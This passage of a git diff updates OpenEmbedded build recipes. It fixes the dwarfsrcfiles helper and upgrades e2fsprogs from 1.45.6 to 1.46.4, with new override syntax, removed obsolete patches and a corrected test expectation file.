+do_compile:libc-musl () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw -largp
}
diff --git a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
index af7af524eb..9eb5ca807a 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
+++ b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
@@ -9,6 +9,7 @@
#include <argp.h>
#include <stdio.h>
+#include <stdlib.h>
#include <dwarf.h>
#include <elfutils/libdw.h>
@@ -83,13 +84,15 @@ process_cu (Dwarf_Die *cu_die)
int
main (int argc, char **argv)
{
- char* args[3];
+ char* args[5];
int res = 0;
Dwfl *dwfl;
Dwarf_Addr bias;
- if (argc != 2)
+ if (argc != 2) {
fprintf(stderr, "Usage %s <file>", argv[0]);
+ exit(EXIT_FAILURE);
+ }
// Pretend "dwarfsrcfiles -e <file>" was given, so we can use standard
// dwfl argp parser to open the file for us and get our Dwfl. Useful
@@ -98,8 +101,12 @@ main (int argc, char **argv)
args[0] = argv[0];
args[1] = "-e";
args[2] = argv[1];
+ // We don't want to follow debug linked files due to the way OE processes
+ // files, could race against changes in the linked binary (e.g. objcopy on it)
+ args[3] = "--debuginfo-path";
+ args[4] = "/not/exist";
- argp_parse (dwfl_standard_argp (), 3, args, 0, NULL, &dwfl);
+ argp_parse (dwfl_standard_argp (), 5, args, 0, NULL, &dwfl);
Dwarf_Die *cu = NULL;
while ((cu = dwfl_nextcu (dwfl, cu, &bias)) != NULL)
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
index 009f5ed807..a030fa6fa8 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
@@ -3,12 +3,12 @@ DESCRIPTION = "The Ext2 Filesystem Utilities (e2fsprogs) contain all of the stan
fixing, configuring , and debugging ext2 filesystems."
HOMEPAGE = "http://e2fsprogs.sourceforge.net/"
-LICENSE = "GPLv2 & LGPLv2 & BSD & MIT"
-LICENSE_e2fsprogs-dumpe2fs = "GPLv2"
-LICENSE_e2fsprogs-e2fsck = "GPLv2"
-LICENSE_e2fsprogs-mke2fs = "GPLv2"
-LICENSE_e2fsprogs-tune2fs = "GPLv2"
-LICENSE_e2fsprogs-badblocks = "GPLv2"
+LICENSE = "GPLv2 & LGPLv2 & BSD-3-Clause & MIT"
+LICENSE:e2fsprogs-dumpe2fs = "GPLv2"
+LICENSE:e2fsprogs-e2fsck = "GPLv2"
+LICENSE:e2fsprogs-mke2fs = "GPLv2"
+LICENSE:e2fsprogs-tune2fs = "GPLv2"
+LICENSE:e2fsprogs-badblocks = "GPLv2"
LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/ext2fs/ext2fs.h;beginline=1;endline=9;md5=596a8dedcb4e731c6b21c7a46fba6bef \
file://lib/e2p/e2p.h;beginline=1;endline=7;md5=8a74ade8f9d65095d70ef2d4bf48e36a \
@@ -17,9 +17,9 @@ LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/et/et_name.c;beginline=1;endline=11;md5=ead236447dac7b980dbc5b4804d8c836 \
file://lib/ss/ss.h;beginline=1;endline=20;md5=6e89ad47da6e75fecd2b5e0e81e1d4a6"
SECTION = "base"
-DEPENDS = "util-linux attr"
+DEPENDS = "util-linux attr autoconf-archive"
-SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git"
+SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git;branch=master"
S = "${WORKDIR}/git"
inherit autotools gettext texinfo pkgconfig multilib_header update-alternatives ptest
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch
deleted file mode 100644
index 2719594c2f..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From f907fea9ea053d5433b5199ce74008664141f753 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 19 Nov 2019 17:32:33 +0100
-Subject: [PATCH] configure.ac: correct AM_GNU_GETTEXT
-
-New version of gettext require the 'external' argument.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 654ff43d..4772b97b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -873,7 +873,7 @@ AC_SUBST(GETTEXT_PACKAGE)
- AC_SUBST(PACKAGE)
- AC_SUBST(VERSION)
-
--AM_GNU_GETTEXT
-+AM_GNU_GETTEXT([external])
- dnl @MKDIR_P@ is expanded in AM_GNU_GETTEXT
- AC_SUBST([mkdir_p],['$(MKDIR_P)'])
- dnl
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch
deleted file mode 100644
index 0e8cbad25a..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From dcb36fd007ddb32d8c5cfcf5e9ddb3d713d65396 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 21 Jul 2020 09:43:03 +0800
-Subject: [PATCH] fix up check for hardlinks always false if inode > 0xFFFFFFFF
-
-Since commit [382ed4a1 e2fsck: use proper types for variables][1]
-applied, it used ext2_ino_t instead of ino_t for referencing inode
-numbers, but the type of is_hardlink's `ino' should not be instead,
-The ext2_ino_t is 32bit, if inode > 0xFFFFFFFF, its value will be
-truncated.
-
-Add a debug printf to show the value of inode, when it check for hardlink
-files, it will always return false if inode > 0xFFFFFFFF
-|--- a/misc/create_inode.c
-|+++ b/misc/create_inode.c
-|@@ -605,6 +605,7 @@ static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ext2_ino_t ino)
-| {
-| int i;
-|
-|+ printf("%s %d, %lX, %lX\n", __FUNCTION__, __LINE__, hdlinks->hdl[i].src_ino, ino);
-| for (i = 0; i < hdlinks->count; i++) {
-| if (hdlinks->hdl[i].src_dev == dev &&
-| hdlinks->hdl[i].src_ino == ino)
-
-Here is debug message:
-is_hardlink 608, 2913DB886, 913DB886
-
-The length of ext2_ino_t is 32bit (typedef __u32 __bitwise ext2_ino_t;),
-and ino_t is 64bit on 64bit system (such as x86-64), recover `ino' to ino_t.
-
-[1] https://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git/commit/?id=382ed4a1c2b60acb9db7631e86dda207bde6076e
-
-Upstream-Status: Submitted [https://github.com/tytso/e2fsprogs/pull/48]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- misc/create_inode.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/misc/create_inode.c b/misc/create_inode.c
-index e8d1df6b..837f3875 100644
---- a/misc/create_inode.c
-+++ b/misc/create_inode.c
-@@ -601,7 +601,7 @@ out:
- return err;
- }
-
--static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ext2_ino_t ino)
-+static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ino_t ino)
- {
- int i;
-
---
-2.18.2
-
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch
deleted file mode 100644
index 31b585fc9a..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From d034239f05cfba849f6ad16eb3f1ea37efbe4f95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 19 Nov 2019 18:34:00 +0100
-Subject: [PATCH] intl: do not try to use gettext defines that no longer exist
-
-Newer version of gettext no longer define this in m4 files,
-so patch it out until e2fsprogs upstream sorts the situation.
-
-Upstream-Status: Inappropriate [hardcodes a choice]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- intl/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/intl/Makefile.in b/intl/Makefile.in
-index e037e23c..89a876b8 100644
---- a/intl/Makefile.in
-+++ b/intl/Makefile.in
-@@ -175,7 +175,7 @@ libgnuintl.h.msvc-static libgnuintl.h.msvc-shared README.woe32 Makefile.msvc
- DISTFILES.obsolete = xopen-msg.sed linux-msg.sed po2tbl.sed.in cat-compat.c \
- COPYING.LIB-2 gettext.h libgettext.h plural-eval.c libgnuintl.h
-
--all: all-@USE_INCLUDED_LIBINTL@
-+all:
- all-yes: libintl.$la libintl.h charset.alias ref-add.sed ref-del.sed
- all-no: all-no-@BUILD_INCLUDED_LIBINTL@
- all-no-yes: libgnuintl.$la
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-tests-u_direct_io-expect-correct-expected-output.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-tests-u_direct_io-expect-correct-expected-output.patch
new file mode 100644
index 0000000000..f198df83eb
--- /dev/null
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-tests-u_direct_io-expect-correct-expected-output.patch
@@ -0,0 +1,69 @@
+From ea5adf259e01c790f9ba69d6fe88d691de410b6f Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 22 Aug 2021 14:37:32 +0200
+Subject: [PATCH] tests/u_direct_io/expect: correct expected output
+
+This is likely the right fix, but upstream needs to confirm.
+
+Upstream-Status: Inappropriate [issue reported https://github.com/tytso/e2fsprogs/issues/80]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/u_direct_io/expect | 16 +++++++++-------
+ 1 file changed, 9 insertions(+), 7 deletions(-)
+
+diff --git a/tests/u_direct_io/expect b/tests/u_direct_io/expect
+index b0cdc730..830cbd75 100644
+--- a/tests/u_direct_io/expect
++++ b/tests/u_direct_io/expect
+@@ -19,8 +19,8 @@ Filesystem OS type: Linux
+ Inode count: 32768
+ Block count: 32768
+ Reserved block count: 1638
+-Overhead clusters: 5131
+-Free blocks: 27631
++Overhead clusters: 6155
++Free blocks: 26607
+ Free inodes: 32757
+ First block: 0
+ Block size: 4096
+@@ -29,27 +29,29 @@ Reserved GDT blocks: 7
+ Blocks per group: 32768
+ Fragments per group: 32768
+ Inodes per group: 32768
+-Inode blocks per group: 1024
++Inode blocks per group: 2048
+ Flex block group size: 16
+ Mount count: 0
+ Check interval: 15552000 (6 months)
+ Reserved blocks uid: 0
+ Reserved blocks gid: 0
+ First inode: 11
+-Inode size: 128
++Inode size: 256
++Required extra isize: 32
++Desired extra isize: 32
+ Journal inode: 8
+ Default directory hash: half_md4
+ Journal backup: inode blocks
+ Directories: 2
+ Group 0: block bitmap at 9, inode bitmap at 25, inode table at 41
+- 27631 free blocks, 32757 free inodes, 2 used directories
++ 26607 free blocks, 32757 free inodes, 2 used directories
+ e2fsck -fn -N test_filesys $LOOP
+ Pass 1: Checking inodes, blocks, and sizes
+ Pass 2: Checking directory structure
+ Pass 3: Checking directory connectivity
+ Pass 4: Checking reference counts
+ Pass 5: Checking group summary information
+-test_filesys: 11/32768 files (9.1% non-contiguous), 5137/32768 blocks
++test_filesys: 11/32768 files (9.1% non-contiguous), 6161/32768 blocks
+ Exit status is 0
+ e2fsck -fn -N test_filesys $TMPFILE
+ Pass 1: Checking inodes, blocks, and sizes
+@@ -57,5 +59,5 @@ Pass 2: Checking directory structure
+ Pass 3: Checking directory connectivity
+ Pass 4: Checking reference counts
+ Pass 5: Checking group summary information
+-test_filesys: 11/32768 files (9.1% non-contiguous), 5137/32768 blocks
++test_filesys: 11/32768 files (9.1% non-contiguous), 6161/32768 blocks
+ Exit status is 0
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
index 284ac90196..a4f98246bb 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
@@ -1,4 +1,4 @@
-From b55dfb4b62e507ae4f0814aec7597b56f9d6292a Mon Sep 17 00:00:00 2001
+From f1e161a48f74b46ae3c99921971c4b5ae8d587c9 Mon Sep 17 00:00:00 2001
From: Jackie Huang <jackie.huang@windriver.com>
Date: Wed, 10 Aug 2016 11:19:44 +0800
Subject: [PATCH] Fix missing check for permission denied.
@@ -19,7 +19,7 @@ Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/support/profile.c b/lib/support/profile.c
-index 585ed595..810dd66b 100644
+index f54739e7..53ea68f1 100644
--- a/lib/support/profile.c
+++ b/lib/support/profile.c
@@ -335,7 +335,7 @@ profile_init(const char * const *files, profile_t *ret_profile)
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
index b0fa4b8cc5..f6916a1112 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
@@ -1,18 +1,27 @@
-e2fsprogs: expand @mkdir_p@
+From e3a30baa5c1e2f0ac7e246539db1c7db5a2fe302 Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Tue, 7 Mar 2017 14:53:19 -0800
+Subject: [PATCH] e2fsprogs: expand @mkdir_p@
Add AC_SUBST to configure.ac. @mkdir_p@ is currently
-not expanded so no locale data is written into usr/share/locale.
+not expanded so no locale data is written into usr/share/locale.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ configure.ac | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 4c4b5523..3475c707 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -811,6 +811,8 @@ AC_SUBST(PACKAGE)
+@@ -919,6 +919,8 @@ AC_SUBST(PACKAGE)
AC_SUBST(VERSION)
- AM_GNU_GETTEXT
+ AM_GNU_GETTEXT([external])
+dnl @MKDIR_P@ is expanded in AM_GNU_GETTEXT
+AC_SUBST([mkdir_p],['$(MKDIR_P)'])
dnl
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
index aac88eed98..41a4047622 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
@@ -1,4 +1,4 @@
-From 9aa68ad81b97847dda3493145f4b0a7cc580c551 Mon Sep 17 00:00:00 2001
+From 550b5fbece84dde16ce9910c2cad390ea4a2f5d5 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Mon, 23 Dec 2013 13:38:34 +0000
Subject: [PATCH] e2fsprogs: silence debugfs
@@ -14,10 +14,10 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/debugfs/debugfs.c b/debugfs/debugfs.c
-index 15b01214..15164df2 100644
+index b67a88bc..76dd5556 100644
--- a/debugfs/debugfs.c
+++ b/debugfs/debugfs.c
-@@ -2492,7 +2492,7 @@ static int source_file(const char *cmd_file, int ss_idx)
+@@ -2518,7 +2518,7 @@ static int source_file(const char *cmd_file, int ss_idx)
cp = strchr(buf, '\r');
if (cp)
*cp = 0;
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb
deleted file mode 100644
index e6a4bd1f8c..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb
+++ /dev/null
@@ -1,143 +0,0 @@
-require e2fsprogs.inc
-
-SRC_URI += "file://remove.ldconfig.call.patch \
- file://run-ptest \
- file://ptest.patch \
- file://mkdir_p.patch \
- file://0001-configure.ac-correct-AM_GNU_GETTEXT.patch \
- file://0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch \
- file://0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch \
- "
-
-SRC_URI_append_class-native = " file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
- file://quiet-debugfs.patch \
-"
-
-SRCREV = "506d96fe640f76ab04276e0a7c578aa108ce19f8"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
-
-EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
- --enable-elf-shlibs --disable-libuuid --disable-uuidd \
- --disable-libblkid --enable-verbose-makecmds \
- --with-crond-dir=no"
-
-EXTRA_OECONF_darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
-
-# make locale rules sometimes fire, sometimes don't as git doesn't preserve
-# file mktime. Touch the files introducing non-determinism to the build
-do_compile_prepend (){
- find ${S}/po -type f -name "*.po" -exec touch {} +
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- oe_runmake 'DESTDIR=${D}' install-libs
- # We use blkid from util-linux now so remove from here
- rm -f ${D}${base_libdir}/libblkid*
- rm -rf ${D}${includedir}/blkid
- rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
- rm -f ${D}${base_sbindir}/blkid
- rm -f ${D}${base_sbindir}/fsck
- rm -f ${D}${base_sbindir}/findfs
-
- # e2initrd_helper and the pkgconfig files belong in libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- install -d ${D}${libdir}
- mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-
- oe_multilib_header ext2fs/ext2_types.h
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
-
- install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
-
- # Clean host path (build directory) in compile_et, mk_cmds
- sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
- sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
-}
-
-# Need to find the right mke2fs.conf file
-e2fsprogs_conf_fixup () {
- for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
- create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
- done
-}
-
-do_install_append_class-native() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-nativesdk() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-target() {
- mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
- mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
- mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
-}
-
-RDEPENDS_e2fsprogs = "e2fsprogs-badblocks e2fsprogs-dumpe2fs"
-RRECOMMENDS_e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
-
-PACKAGES =+ "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
-PACKAGES =+ "libcomerr libss libe2p libext2fs"
-
-FILES_e2fsprogs-dumpe2fs = "${base_sbindir}/dumpe2fs"
-FILES_e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
-FILES_e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
-FILES_e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
-FILES_e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
-FILES_e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
-FILES_e2fsprogs-badblocks = "${base_sbindir}/badblocks"
-FILES_libcomerr = "${base_libdir}/libcom_err.so.*"
-FILES_libss = "${base_libdir}/libss.so.*"
-FILES_libe2p = "${base_libdir}/libe2p.so.*"
-FILES_libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
-FILES_${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
-
-ALTERNATIVE_${PN} = "chattr"
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
-ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
-
-ALTERNATIVE_${PN}-doc = "fsck.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-
-ALTERNATIVE_${PN}-mke2fs = "mke2fs mkfs.ext2"
-ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
-ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
-
-ALTERNATIVE_${PN}-tune2fs = "tune2fs"
-ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
-
-RDEPENDS_e2fsprogs-e2scrub = "bash"
-RDEPENDS_${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
-RDEPENDS_${PN}-ptest += "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
-
-do_compile_ptest() {
- oe_runmake -C ${B}/tests
-}
-
-do_install_ptest() {
- # This file's permissions depends on the host umask so be deterministic
- chmod 0644 ${B}/tests/test_data.tmp
- cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
- sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
- -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
- sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
-
- # Remove various files
- find "${D}${PTEST_PATH}" -type f \
- \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
- -exec rm -f {} +
-
- install -d ${D}${PTEST_PATH}/lib
- install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
-}
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.4.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.4.bb
new file mode 100644
index 0000000000..f42cefcaf9
--- /dev/null
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.4.bb
@@ -0,0 +1,141 @@
+require e2fsprogs.inc
+
+SRC_URI += "file://remove.ldconfig.call.patch \
+ file://run-ptest \
+ file://ptest.patch \
+ file://mkdir_p.patch \
+ file://0001-tests-u_direct_io-expect-correct-expected-output.patch \
+ "
+
+SRC_URI:append:class-native = " file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
+ file://quiet-debugfs.patch \
+"
+
+SRCREV = "849005eac51ea2097bd9e5f2b0adc16b53c5486d"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
+
+EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
+ --enable-elf-shlibs --disable-libuuid --disable-uuidd \
+ --disable-libblkid --enable-verbose-makecmds \
+ --with-crond-dir=no"
+
+EXTRA_OECONF:darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
+
+# make locale rules sometimes fire, sometimes don't as git doesn't preserve
+# file mktime. Touch the files introducing non-determinism to the build
+do_compile:prepend (){
+ find ${S}/po -type f -name "*.po" -exec touch {} +
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ oe_runmake 'DESTDIR=${D}' install-libs
+ # We use blkid from util-linux now so remove from here
+ rm -f ${D}${base_libdir}/libblkid*
+ rm -rf ${D}${includedir}/blkid
+ rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
+ rm -f ${D}${base_sbindir}/blkid
+ rm -f ${D}${base_sbindir}/fsck
+ rm -f ${D}${base_sbindir}/findfs
+
+ # e2initrd_helper and the pkgconfig files belong in libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ install -d ${D}${libdir}
+ mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+
+ oe_multilib_header ext2fs/ext2_types.h
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
+
+ install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
+
+ # Clean host path (build directory) in compile_et, mk_cmds
+ sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
+ sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
+}
+
+# Need to find the right mke2fs.conf file
+e2fsprogs_conf_fixup () {
+ for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
+ create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
+ done
+}
+
+do_install:append:class-native() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-nativesdk() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-target() {
+ mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
+ mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
+ mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
+}
+
+RDEPENDS:e2fsprogs = "e2fsprogs-badblocks e2fsprogs-dumpe2fs"
+RRECOMMENDS:e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
+
+PACKAGES =+ "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+PACKAGES =+ "libcomerr libss libe2p libext2fs"
+
+FILES:e2fsprogs-dumpe2fs = "${base_sbindir}/dumpe2fs"
+FILES:e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
+FILES:e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
+FILES:e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
+FILES:e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
+FILES:e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
+FILES:e2fsprogs-badblocks = "${base_sbindir}/badblocks"
+FILES:libcomerr = "${base_libdir}/libcom_err.so.*"
+FILES:libss = "${base_libdir}/libss.so.*"
+FILES:libe2p = "${base_libdir}/libe2p.so.*"
+FILES:libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
+FILES:${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
+
+ALTERNATIVE:${PN} = "chattr"
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
+ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
+
+ALTERNATIVE:${PN}-doc = "fsck.8"
